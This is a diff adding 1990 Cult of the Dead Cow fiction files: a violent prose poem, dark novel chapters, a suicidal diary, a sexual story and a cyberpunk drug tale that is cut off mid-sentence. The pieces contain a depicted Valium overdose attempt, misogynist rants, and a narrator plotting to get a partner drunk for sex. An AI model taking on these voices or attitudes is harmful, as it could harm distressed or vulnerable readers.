Rubber-Ducky!" +SMACK +"I hate you! + I hate you! + I hate you! + I hate you!" +Endless streak of death blows +Pulverization +Arms at work like piledrivers +Drive drive drive +Fists like anvils +Sponge to styrofoam noodles +Final blow + "I'm sorry (sob). + I had no idea (sob sob)." +"It's too damn late for apologies." + "Please + (gasp) + stop this. + I'll never bother you again." +Yellow digs deep into a polyester pocket +Paper clips surface + + A + wild + chain + of + paper- + clips + "What? Your paper clip collection?" +Like lightning +The paper clips are yanked around the helpless puppet's neck +Gasps for breath +Choke choke choke +The wire digs holes in the orange neck +"I + can't + breathe." +Convulsion +Sudden peace +The body ends its hopeless struggle +The courier climbs down from the corpse +and watches + and watches + and watches +An open window +The sounds of a restless city rush in +with a flock of city birds +"My pigeons, + My beautiful pigeons. + You hate him as much as I do. + He's all yours." + Peck + Peck + Peck +Midnight snack +An audible siren +Slamming car doors +Knock +Knock +Knock +"Open up! It's the police!" +The murderer + h e s i t a t e s +Pushes the window +anxiously higher +l + o + o + k + s + d + o + w + n +and leaps +wondering + just + how + the + sleeper + always + managed + to + be + so + innocent + when + always + guilty + + + + --Racer X, 10:39 PM, Monday, 10/23/89 + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |NIHILISM.............415/285-9453|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Bombay............714/897-0412| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Racer X. 06/21/90-#139| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0140.txt b/textfiles.com/groups/CDC/cDc-0140.txt new file mode 100644 index 00000000..76e67985 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0140.txt @@ -0,0 +1,331 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Burn Turns Two Into One + Part 1 by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + +Chapter 0: A Halo Of Flaming Lead + + I can't think - you can't feel it happening to me. There are no +symptoms. Not a single extraneous mark on my body. The inner workings are +acting as if there was nothing wrong. I don't care about what the doctors, +hell, anyone, say, they're eating me alive. + + The room is spinning, the mist weaves its fingers around my neck like +a vengeful spirit. Shit, it is hotter than a Turkish bath in this room. I +need to get outside. A clicking sound comes from the door, I rushed over to +see what the clicking was and when I tried the knob it wouldn't move - it was +locked. + + If a man can't go where he wants to he is nothing more than a slave. +A prisoner locked in a gilded cage. Each lock is another bar, each key is +another brick. The fortress is slowly built around everyone. Some people +never notice that they are caged in. The fools believe that they are free +because they have the money and the control. The fuckers just don't know what +they're dealing with. + + A howl came spurting from my raging mouth, a scream of despair that +could be heard for miles. No escape is what they said. Fuck 'em. You can't +keep a knowing man in a prison. Locks and doors, locks and doors, keys and +cells, keys and cells, genes and cells, genes and cells. The locks slam shut +through my system. The drug they give me takes effect. The drug is hatred, +the drug keeps me in prison. + + No sounds. Not the hum of the air-conditioning, not the persistent +tick-tocking of the clock by the bed, nothing. My heart was not beating, my +lungs were not expanding and contracting. There were no sounds, there was no +life. It was another trick. Everyone knows you breathe only because you are +programmed to. Oxygen is the poison, the void is the cure. + + I leave the corpse, no need for me there. A bath in the void would be +most enjoyable. At the edge of nothingness there are cliffs, cliffs of many +different sorts, a different ledge for different people. Cliffs for drug +users, cliffs for suicidal people, cliffs for the mentally insane, and even a +cliff all of my own. It is, after all, the least she could do. I am the son +of the abyss, born of despair and chaos. It is always good to come home. + + I dove into the darkness. It flowed around what I perceived as my body +like oil, coating me like a warm blanket. It was the only peace that can ever +exist, at least for me. It is a refuge for a man who is alone. A lonely place +for those who need to get away from others. In other words, the void is the +closest thing to heaven. + + Mother consumes, mother protects. There is nothing of pain in here, as +there nothing of pleasure. All is nothingness, all is love. People are always +searching for a refuge, a place to get away from their life. Religion is +always looking the wrong way. There is no heaven, there is only hell. Life on +Earth is hell, walking through a blooming garden is hell, and love is most +certainly hell. People turn to the bottle or the pill in search of an escape +only to find that there really is none. People meditate and pray that there is +something better in store. They lie to themselves every day, the pills and +chants are just masks for the pain. + + They say that I am insane, they're all wrong. I am un-sane. There +will no longer be any connection between my world and theirs. I refuse to take +part in the masochistic meandering that everyone else takes part in. You see, +if one participates, even the slightest bit, in the game, they are hooked. +I broke the chains that bound me, chaos suits me well. + + ----- + + "click. beep. click. beep. click. beep. click. click. click." + + The slow clicking sounds of the clock stopped. The man laying on the +couch wouldn't notice until it was too late. Fortunately, the clock stopping +saved his life. Dr. Armand would survive to treat another psycho. + + ---- + + Energized by the chaos around me, I regained some of my long forgotten +powers. Looking at the hole in reality my passage into chaos created, I had to +chuckle. Chaos was leaking out of the hole into the hospital room where I was +previously. The entire hospital was demolished by the small flow of chaotic +fluid, a concentrated fluid that fuels the slow march of entropy. The funny +part was that the explosion was attributed to a stoned old man in charge of +watching the boiler in the basement. + + At one time or another the idea of destroying the world was appealing +to me. However, now that I look back at it, that prospect was quite naive, it +would be far too easy to be fun. The real fun would be on a much smaller +scale, to initiate a new disciple to the workings of chaos. It'd be fun to see +if anyone could live through it. + +Chapter 1: The Game Is Afoot + + To find a worthy initiate is harder to do then I thought. From the +start I knew that none of the more extreme people would do. Fundamentalist +Christians were out, their obsessive lust with the nonexistent deity of order +would cause them to crack at their first encounter with me. Communists, hell, +any political order freaks, are out as well. Politically minded people are +better to use then religious people, but are still too obsessed with order to +be useful. However, as I watched them go about their business I was enter- +tained by their unwitting flirtation with chaos. They just didn't know that +order is really a hallucination of sorts, when there is too much order in one +place the mask begins to crack. Look at any government institution with its +endless supply of end tape from two different views. Look at it from within, +with all of its forms and rules keeping everything in order. Then look at it +from afar and you will notice that rather then keep order, the paperwork and +hierarchies only form a chaotic pattern. That however was just of slight +amusement, only a moment was wasted until I returned to my search. My +conclusion was that the best sort of person would be someone young enough to +adapt, yet not overly idealistic or moral. I turned to the schools and found +any number of worthy candidates, the time has come to start. + + ---- + + A howling roar shattered the glass of Paul Selby's dreams. A hammer- +like hand instantly flies out from under an old quilt and onto the source of +the roar. There is a large crash as the howling is stopped and replaced by a +sound of breaking plastic. Paul slid down the greased wall of dreams, +desperately trying to claw for a handhold that would let him remain. Luck was +not on his side this morning, and Paul made a bone crunching thud as he hit the +rocky ground of consciousness. + + "Fuck," Paul groaned as he realized that returning to sleep was a +futile gesture. He groaned again, much louder as if he was trying to convince +himself that he was alive, and rolled out the bed onto the floor. Sunlight +streamed brightly into the small room where some asshole forgot to close the +curtains the night before. Swearing profusely he got to his feet and shut the +curtains, choking off most of the unbearable light. As he went to his closet +to get his bathrobe, his roommate let out a loud snore. As beautiful as she +was, she could still snore like a water buffalo. + + Throwing on the bathrobe as he walked down the hallway to the bathroom, +Paul was still seething at his being conscious. Passing a few other early +risers in the hallway, who always seemed cheerful at this time of morning, all +he could do was snarl a hasty "good morning" as he trudged to the shower. The +others on the floor were not offended by his surly greetings. After living +with him for 3 years now they came to expect his response to their early +morning greetings. The only surprise would be if he didn't reply curtly, last +time he was cheerful in the morning he contracted pneumonia and was hospital- +ized. + + As he showered the collected filth of a day of life off of his body, +Paul still seethed about his being awake, and as he brushed his teeth he +snarled at his image in the mirror several times before he finished. Paul +Selby was not a man built for daytime existence. He hated to be awake until at +least 2 hours after he woke up. Most people learned early on to avoid him +until that period of time was over. + + Upon entrance to his room, he found that Lisa, his roommate, had risen +from her bed and was now crumpled over a chair searching for something on the +floor. Lisa and Paul had lived with each other for several years now, having +started out as lovers. Over time the relationship had changed into a good +friendship. They saw others now, but they were closer then they had ever been. +Paul momentarily stopped fuming as he admired the bent over Lisa. In the eyes +of Paul, the only eyes he felt were worth noting, Lisa was a vision of beauty. +Her skin was beyond pale, it was an ivory white that no amount of tanning would +get rid of, or at least it wouldn't if she tanned. Her medium length naturally +black hair was cut into a bob that framed her delicate features. Her body was +shaped in a form of classical beauty. Lisa wasn't part of the new fad that +made women look skinny and androgynous, her curves were well defined and well +shaped. She weighed more then most of her friends, but she was sexier then all +of them combined. + + She broke Paul's momentary contemplation with a shout. Still bent over +the chair, running her hands along the floor under the desk she yelled, "Son of +a fucking bitch! Where in the fuck is my earring?" According to morning +ritual, Paul avoided comment quietly getting dressed in the usual black outfit. +It was, of course, his only outfit. Finding the earring, Lisa stopped cursing +and stood, looking at Paul. Again, according to ritual, Paul walked over to +Lisa and gave her the usual embrace, casually feeling her nude body. He was +running late, again as usual, so they kissed and he hurried toward the door. + He paused before going all the way through and said, "Get some clothes +on, you Whore of Babylon." Then he ducked as the shoe flew at his head, +leaving both of them laughing. + + "See you later," she said as the door shut. + +Chapter 2: A Split Second Face. The Form Is Cast. + + The sun shone brightly in the clear blue sky. Of all the places for +there to be no smog, it had to be this place. A casual glance at the slowly +moving form of Paul Selby walking down the street to a class, one would hardly +expect him to be in a hurry. A theory of his stated that if you have to run to +get somewhere it isn't worth getting there at all. Paul always appeared at the +class, yet he had never been there on time ever. A lesser man would feel guilt +or pressure from not placing a great emphasis on time, but that man was not +Paul. + + The portfolio and carrying bag dug into the flesh on his shoulder. +This painfully annoying action caused Paul to set loose a stream of profanity. +Several easily offended girls walking in the other direction past Paul looked +upon the large form with disgust. "Yeah, fuck off," muttered Paul in response +to their disapproving glances. Only a little further, only a little further, +shit I gotta put wheels on this fucking thing. Thoughts cycled through his +head as he trudged along, each step seeming harder all of the time. These +walks were time for him to think, at least in between curses. Why does she +still like me? I wonder what she sees in me, I'm not a great artist, I can +hardly write, and god knows that I'm not physically attractive. He looked at +himself in the reflection on a window with disgust. He snarled at the pudgy +man in the window. + + Paul was a fairly tall man, over six feet tall. The problem was that +he was always mistaken to be shorter then he was because of his large stature. +His excess weight made him look like a pudgy little boy, hardly the bad ass +motherfucker he always wanted to be. His long uncombed hair was black at the +ends from where he had dyed his hair a year before. On top of all his other +physical faults, he had horrible vision, his small circular glasses had thick +lenses that jutted beyond the small wires that comprised the frames. As it +was, he hated the way he looked, he hated the lack of talents that were +futilely strewn out in an attempt to be artistic. A scrawling hand wrote +cryptic messages in a small black book that was to be a journal of his +failures. At least he had Lisa, she was the bright point in the black world of +Paul Selby. + + Snapped back into the present by tripping on a raised crack in the +sidewalk, Paul neared his location. The building in front of him was a +monstrosity of mid-sixties modern architecture. The cement slabs that made up +the buildings exterior were interrupted by large expanses of black steel with +windows inset. It was a 4 story vision of hell. Ironically the building was +the housing for the art department, and the building was named, assuredly as a +practical joke by the sod who designed it, The Visual Art Building. It was a +horrible sight in Paul's book. It was the building that he spent most of his +time in. They had given him a studio on the fourth floor to work in, he shared +it with four other art students. Unfortunately he had to go to a class in the +building rather then just go to the fourth floor and paint. He climbed the +stairs to the 3rd floor. There was an elevator, but Paul was 21 years old, he +had no desire to spend a significant portion of his life standing in a box. +The hallway was quiet except for some muffled instructions and Paul's clomping +footsteps. With a look into the window of his room, he saw that class was +already started. Never a person to turn down a chance to be theatrical, he +kicked the door open with a shout and ran into the room to his place in the +back. + + "If Mr. Selby is quite finished with his little show, we can continue +with our discussion of the ..." said the vaguely effeminate looking man who was +the teacher for the class. + + "...piledriver as sexual aid," Paul whispered to no one in particular, +yet caused a few laughs in the back of the classroom. The teacher, thinking +the laughter was for his remark, continued on and allowed Paul to catch up with +some needed sleep. + + He woke up about an hour later when a friend on the other side of the +class nudged him as the class ended. In a considerably better mood, he got his +stuff together and walked up to the studio with his friend. Paul and Jim were +two of the people that shared the studio upstairs, when they were there +together they dominated the room. There was a small stereo in the studio that +any of the people in there could use. One of the girls listened to the Cure +until they had to leave for a while, the other guy in the studio was fucking +the Cure girl so he didn't mind, and the other girl was hardly ever there. She +tended to avoid the studio until after midnight, when she would come in and +work on her exquisite paintings. Since they were the first ones in the studio, +the first thing that they did was to put some good music on the stereo. The +play button was pressed, and hard edged music shot out of the speakers. Jim +had a show coming up in a couple of weeks, so he didn't goof around as much as +usual. + + Bored of sitting around, Paul stretched out a canvas and prepared it to +be painted on. While he was waiting for the primer to dry, he laid on the +floor and fell half-asleep. There were grey clouds in his vision through +nearly closed eyes. As he fell into a deeper slumber he noticed a black form +beginning to build itself. The pieces of shiny black thought flew toward the +form which was starting to look human. After a moment a distorted voice came +from the form, "The Burn Is." After the sound of the final word drifted into +silence, the figure blew apart, sending Paul reeling towards consciousness. + + The paint flowed easily, unlike sometimes before. The brush moved +smoothly, knowing where it was going all along. It was sheer ecstasy for Paul. +He had been waiting for years for the flow to start again. He had always had a +head full of ideas, but he had never been very successful at expressing them. +Other people seemed to like his work, otherwise he wouldn't still be in art +school, but he was never satisfied with it. Things began to take rough shape, +a layout was roughed in, and then the rush left. No matter, thought Paul, I've +got what I need. He worked like a man possessed, he didn't even stop to get +lunch with Jim, he had the flow again. Dinnertime rolled around, and Paul had +a date with Lisa, so he forced himself to stop and head back home before he was +late. + + ______________________________________________________________________________ + + +Author's Note: + + This file is the beginning chapters of a large scale story that I've +decided to write. I will be releasing more and more of the story as cDc files +as the work continues. + +"In the distance there is truth which ends like a knife + The bridge we have laid will always give us life + And we who cross on a goat we ride + Or fall like a fruit in a red sea tide + Just dust to live with dust and dreams + Anoint the stone with blood and screams + From all our eyes the future leaks + The path is maid, its shell is weak. + If you could understand, you would take my hand + Then I would spread so far, just like arcadia" + -Genesis P-Orridge + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |NIHILISM.............415/285-9453|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Bombay............714/897-0412| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Obscure Images. 06/21/90-#140| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0141.txt b/textfiles.com/groups/CDC/cDc-0141.txt new file mode 100644 index 00000000..9bf50c2b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0141.txt @@ -0,0 +1,216 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Smothered Hope + by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + +I just don't want to know anymore +life shifts up and down +everybody knows it's wrong +it's not in the rhyme or reason +so it goes with every season +crawl to top fall through bottom +first hand love is really rotten + -Skinny Puppy, "Smothered Hope" + + +Diary of Peter Barren + + +November 1st 1992 + + Picture this: a smoking gun, a flattened reality where nothing can +happen. I can picture this place, I wish I were there. The path of life +always ends at the barrel of a metaphoric gun. The time that was spent with +you was the best time of my life, the time since you left has been hell. There +is nothing that is worth doing anymore, there is no one worth looking at +anymore. I just can't understand why my life was hinged to a single person. +Perhaps there is a form of causality that says that once I hook up to someone I +am perpetually hooked. A soul that is handcuffed to another soul, one wanting +to break free or get closer, but perpetually failing on both counts. + + I walked through the gardens again today. I went by myself to think +about what could have been. I was the only one by myself. Everyone else was +bonded at the wrists in pairs. This is not fucking fair. I thought that the +world would let me find some peace of mind, but it only rubs sulfur into the +wounds. It was my fault for returning to the gardens, I should have known that +all I would find there is love. Fuck them all anyway. Who needs love I say, I +sure fucking don't. A lie is a lie is a lie, or so they say. It is a +momentary comfort to pretend that I don't need anyone else. Nobody is more +needy in the department of human compassion then I. The man alone even amongst +his friends. The friends around him dancing through the motions of the sexual +politic. One dances by herself intermingling with the rest of us, her dance is +built around a step of deceit. A lie to herself and to the rest, rings of +infidelity bind the dancer to the watchers. A search for compassion and +companionship that nobody can blame her for, yet one has to be curious about. +A tie that chokes her and pulls her strings to make her dance is made of spider +web. A simple pull of the chain and it would release her, yet she prefers to +choke and draw others into her web of intrigue. It makes me laugh sometimes, I +cry on other occasions. + + Here I sit, a year after I was last at the gardens, wondering about the +bad times that have passed over me. I've changed since then. No longer am I +the bumbling sentimental fool I was, now I am the opposite. I have my emotions +under control as well as the rest of me. Some people have called me names for +the way I am now, because of the choices I have made, but I know I'm right. If +it weren't for the hypernormalization of my being I would be dead right now. +My friends still dance the dance, but I'm no longer emotionally involved. They +can flirt with lies and cruelty without me, I am not whole, yet I am stable. +People that haven't seen me in a year don't recognize me at all. My parents +were hard pressed to tell me from a stranger on the road. The new me is trim +and rigid. No more curvature for this person, only edges, sharp edges, don't +try to touch me now. My black hair and vaguely cruel features complement the +monochrome greyness I wear. For the first time in years I can see grand plans +and actually believe that they are more then dreams. The flamboyancy of my +youth is still inside me, and it escapes through my fingers and hands, but I +control it now. It doesn't control me anymore. A small problem, however, I +met a girl today who I really like. I can't afford to like someone more than +casually, I think I will have to get rid of her. + +November 15th 1992 + + Oh shit. I think I'm in trouble. Jane is breaking through my +defenses. A years worth of work and that bitch is making me care about her. +The world is a shitty place. I finally get myself together, and then a +complication is introduced... never can be easy, can it? I have to get a grip +on myself now, the defense is strong, there will be no involvement other then +friendly. I've seen her every day since we met, I think that she likes me for +more then what I am offering. Maybe I could fuck her, I haven't had sex for so +long I don't remember what it was like. No, sex would introduce more pressure +than I could handle. Still, she is a really great girl. She isn't like the +others, she doesn't lie to me, she doesn't pretend to like me, she doesn't want +any of my cash. She would be the perfect girl for me. Oh hell, I can't think +about this anymore, I've got to go out with her tonight. We'll see what +happens. In other news, I went out with Jane and some of my other friends last +night. Things are supposedly getting rough for them, nothing particularly new +in that. They were in rough straits when I met them 4 years ago, it really +makes me sick to see them still together, she would be so much better without a +asshole like him. Life is life, I imagine they'll get married eventually. I +have a long running bet with my friend Tom that they will and they'll be +perfectly miserable together. Tom wouldn't bet more then a quarter cause he +knows he is gonna lose. Oh shit, I gotta run. + +November 30th 1992 + + A lot has happened since I wrote in here the last time. I think that +my whole idea of detaching myself from the world was a good idea for recovering +from the situation I was in, but now it is no longer needed. Jane is a +goddess, we are officially "seeing" each other, what a stupid way of saying it. +We are having a great time with each other. I can't say that I am in love just +yet, but I do have to admit that I am getting closer to it every day. I've +stopped wearing just grey, at least partially. I let Jane talk me into going +shopping with her, and she bought me a whole bunch of really cool stuff. It's +kinda cool having a rich girlfriend, but I'd still like her just as much if she +didn't have lots of money. Other things have pushed me to great happiness, +things so great that I don't know how much longer I can pretend to grimness +around my old friends. The evil boyfriend whose very name I hate with my +entire soul finally did the first good thing he ever did. He died in a car +crash on his way to see us. I was pleasantly shocked when I heard the news, +but I had more important things to think of at the time. I've had to spend a +lot of time with his girlfriend, I still love her after all this time, so I +have to pretend to grieve so I can get her back on her feet again. She doesn't +understand that his death has set her free, maybe she will never understand. +Who knows. When I leave her to grieve in private I have to run outside so I +can scream with delight, the dancing is done, the fucker is 6 feet under. I +think that in a couple months I will go piss on his grave if I still care to +bother. + +December 10th 1992 + + I'm at home with my parents for Christmas break. Jane came home with +me, she'll be staying until the 20th. None of my friends are in a festive mood +except me. I suppose it could be the fact that none of them are seeing people +at the moment, for a while I feel a sort of sadistic pleasure in acting cute +with Jane in front of them, sort of in repayment for all of the times that they +did it to me. After enough to get them kinda pissed we back off, after all I +really do love the grim lot even if sometimes I get pissed off at 'em. Grades +came in the mail today, and I'm happy to say that I did really well this last +semester. The world is a great place. Since her boyfriend died, Mary has been +depressed, I suppose that a beaten dog still cares about its master. She'll +get over it. Before Christmas-time she was starting to get better, we went out +and had a good time the night before we came home for break. Oh well, it's the +holidays, everyone gets depressed on holidays. + +January 23rd 1993 + + Christmas was great, that is all I have to say about that. I'm writing +in here less and less. No time for this shit anymore really. I've got a lot +of work to do this semester. Jane moved in with me after break, it's really +cool living with her. She doesn't make me do anything I don't want to do and +that's wild. It's not at all like my mother. I paid Tom his quarter, he +laughed but told me that I was completely tactless. Mary is doing cool now, +she's pretty happy for the most part, but there are days, mostly around "that" +time that she starts acting like a widow for that late dumbfuck. I avoid her +around those times, it only brings back memories I don't want. Jane thinks +that I should start working on the book I was talking about to her. Maybe I +will when I get some free time. Jane and I are pretty happy now, the sex is +great, thank god for that new sterility drug I got. No babies around me, not a +fucking chance. + +May 23rd 1993 + + I hate the world. I hate everything in the fucking world. I hate all +women. I wish I was dead. She just fucking left, she left me for this fucker +that is like the reincarnation of Mary's dead boyfriend. The world is a very +cruel place, I imagine it is just repayment for being happy at his death. The +fucker ruined my life while he was alive, and now the fucker is doing it again +even after he is dead. Mary has been a big help to me, she got the knife away +from me last week before I hurt myself. I've been suicidal since she left me, +Mary and Tom have been staying with me since then. They've gone out to a movie +or something. Tom is going out with Mary now, I suppose I am glad for them, +even if I don't want to. I wish I knew why Jane dumped me. I thought we were +happy, she never complained. She told me that she left me because we were +getting too close and that she wanted to see other people for a while. That's +bullshit, every guy knows that when it comes to "seeing other people for a +while" time it is all over with. Fucking whores, I hate them I hate myself, +SHIT! I let her dismantle me. I should have known, you let your guard down +for a fucking minute and they rip your soul to shreds. I just took a handfull +of valium, so I think that I'll stop writing this while I can still write. I +wonder if Tom and Mary will read this when they find my body. I dunno. Bye. + +June 5th 1993 + + Not quite the end, it appears. Today is my birthday. I'm 22 now, I +don't feel like it. I feel just like 18, just as bad as I was a long time ago. +Tom found me just in time to get me to the hospital, they pumped me out and +kept me alive by force. I'm supposed to be going to therapy now, but I don't +need any of that psychology shit. I've had enough of it to analyze myself. +Jane called today to wish me a happy birthday. She isn't seeing anyone at the +moment, but I didn't want to see her on my special day. The date of my first +birth, and the date of my 3rd birth. The new me starts today. No more women, +no men, no more love. Love isn't for shit. The lies start again. I found my +old grey clothes, I'll wear them until I can get the black ones I ordered. I'm +putting this diary away in a box at my parents house. This chapter is closed, +I'm going to start a new one tomorrow. + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |NIHILISM.............415/285-9453|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Bombay............714/897-0412| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Obscure Images. 06/22/90-#141| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0142.txt b/textfiles.com/groups/CDC/cDc-0142.txt new file mode 100644 index 00000000..aa2ac4d3 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0142.txt @@ -0,0 +1,119 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Fatal Attraction for Real + by G.A. Ellsworth + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + So I got the job. Cool! I get to work with all of these really great +looking women. Cool! I'll finally start to get over that last person who +fucked with my mind.... + + Hmm... Julee doesn't talk much. She's not bad looking, I wonder if +she's got some kind of hate for people or something... (--hahaha--).. .nah!! +Wonder what she's like... "Really? You're engaged? Wow! What a trip, do you +think you are really old enough to tie yourself down? Pretty scary huh?" + + "Julee, do you think you could give me a ride home? Really? Great, so +tell me more about this fiancee -- oops... sorry I know you hate that word.... + Ok, tell me more about your boyfriend...." + + "Doggy style huh? Yeah, I like it too. +Y'know, I didn't think we'd be talking about sex all that much considering you +are getting married and all.... Yeah, I love oral sex too... heh heh... much +better to give than receive... heh heh heh." + + "You smell pretty nice yourself.... So you think you really want me +huh? What about Tom? Ok, I won't mention him again...I'm just a little +weirded out by this" + + Yeah, this is definitely strange... but what the heck... if she's too +horny for one guy... and she doesn't feel guilty about it, what could it hurt? +And wow... she could like fullfill some of my fantasies and all that.... I +mean, she's so giving of herself. She loves to give me head... she likes it +when I come in her mouth... she even wants me to fuck her in the ass... god +this is like a dream come true.... + + "Yes of course you are important to me... you wouldn't be here if you +weren't." Wait, do I really mean this? Maybe I shouldn't say this without +thinking it through. "Yes, really... what do you think I'd lie just to get +into your pants?" Well, she's kinda doing the same thing... I don't think she +really means that she LOVES me, she's just saying what she's feeling at the +moment. "Oh god yes that feels good. Please don't stop. Where are you +going?" + + "Why did you leave last time? Really? You were testing me to find out +if I was lying? Did I let you down? Great... yeah, I want to make you come +too." Oh man... why am I thinking with my dick? How can I let myself do this? +"Yes this is definitely a good thing... you really want me to fuck you in the +ass, huh? Wow, I've always thought it would be pretty cool, you like it huh? +I think I will...." Am I really hurting her? Why is she crying like that... +I'd better just keep goi... no wait... I'd better stop. "Julee? Julee, are +you ok? I'm sorry I didn't want to hurt you... I didn't mean to... I thought +you wanted me to. I'm sorry... I love you Julee." Goddamnit... there I go +again... do you really love her? Why the hell did you say it then? What are +you doing? + + "Buy you a fifth of Schnapps huh? That would do it... won't hurt so +much huh? Great...." Why didn't I think of this before... get her drunk. +"You know that I get all weak when you touch me like that... yes it feels +great... yes you are the best ever at oral sex... I mean it." (I really do) +"God where did you learn this? Fuck yes... that's exactly right... wow!" + + Seems like I've had more to drink than she has... wow... I'm starting +to feel pretty fucked up. "Yes... you are my best friend Julee... no of course +not... I'd never tell my friends about this... yes yes... you could come to me +anytime you had a problem... god you are so good at this... you make me feel +so... wonderful...." Then why does my soul feel like she's drinking my blood? +"Oh Julee I really do love you...." Black out. + + My god... what did she do to me last night? How could I have made all +those promises? How could I have said all that? Damn, I can hardly remember +what I said. I remember her coming over and telling me not to tell anyone what +to say... god, it's like she drugged me and brain-washed me or something... I'm +really scared. What does she really want? How could she say that she loves +me? How could I say I love her? This is so insane! How much of my soul did I +bare to her? Why would I let down my defenses like that? It's like she used +me... but I let her... I'm really scared now... it's like she's got so much +control. Why is this getting to me? What did I do wrong? + + I'm away from her now. It's been 2 years. But I'm still afraid of +her. Somehow she got inside my brain and I ended up saying and feeling a bunch +of things I had no control over. Whenever the phone rings and it's for me, I +ask "Who is it?" + + "Some woman, she didn't give a name." My heart races. My face flushes +and I feel whatever it was planted inside me come to life again. My fantasies +are haunted by her. I will be having sex with someone else and her name will +pop into my mind. I'm afraid of her. I have never met anyone like her, and I +hope I never have to go through this again. I feel like I've been raped. + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |NIHILISM.............415/285-9453|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Bombay............714/897-0412| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by G.A. Ellsworth. 06/22/90-#142| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0143.txt b/textfiles.com/groups/CDC/cDc-0143.txt new file mode 100644 index 00000000..576bea3e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0143.txt @@ -0,0 +1,145 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Inject Me + by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + The man turned out of the worn-looking grey metal door into the alley. +The garbage piled on the ground was swarming with vermin. The rats scurried +around in the darker areas of the alley. The man looked around briefly and +then walked down the alley onto the busy street. The street was the same as +the rest in the city, everything was illuminated with a neon glow from the +signs that were everywhere. The people walking around him were dressed in the +new fashion. Harry would have none of that. Harry wore his ancient trenchcoat +as if it were a king's robe. The rain beaded on his coat, keeping the water +from Harry's skin. The package in Harry's inside pocket rustled a bit when he +walked. + + Harry began the journey that would take him to his apartment, if you +could call it that, on the other side of town. He walked with the southbound +crowd of people, moving swiftly with the others along the sidewalk until he +reached his subway station. Harry looked at his hand and shuddered. The skin +appeared to have a few bubbles surfacing just under the skin. "Damn, it's +starting already," he thought. He picked up his gait and started climbing down +the slick stairs. "Damn that calypso music, and those fucking bats too," Harry +muttered. + + At the bottom of the stairs he bought his ticket and found that the +next train wouldn't be for another 30 minutes. He went to the news machine and +punched for a copy of ToxiLife Magazine. He stuck his credit chip into the +slot on the machine and it printed up the latest issue. Harry sat down on the +bench closest to him and began to read. On the cover this month was Sherri +Walthers, the media's newest sensation, staring out of the paper into Harry's +eyes. The irises suddenly glimmered, then began to swirl with a neon blue and +black pattern. Harry shook his head and the eyes were back to normal. He +opened to the table of contents and decided to look at that article on the new +chemical disaster, this one in Haiti. "Great pictures on this one," thought +Harry as he looked at the corpses of a mother and child. The picture of the +corpses began to move, Harry closed his eyes, and when he opened them he was +staring into the horribly charred face of the mother from the picture. Her +face was half-melted, and her eyes were rotting 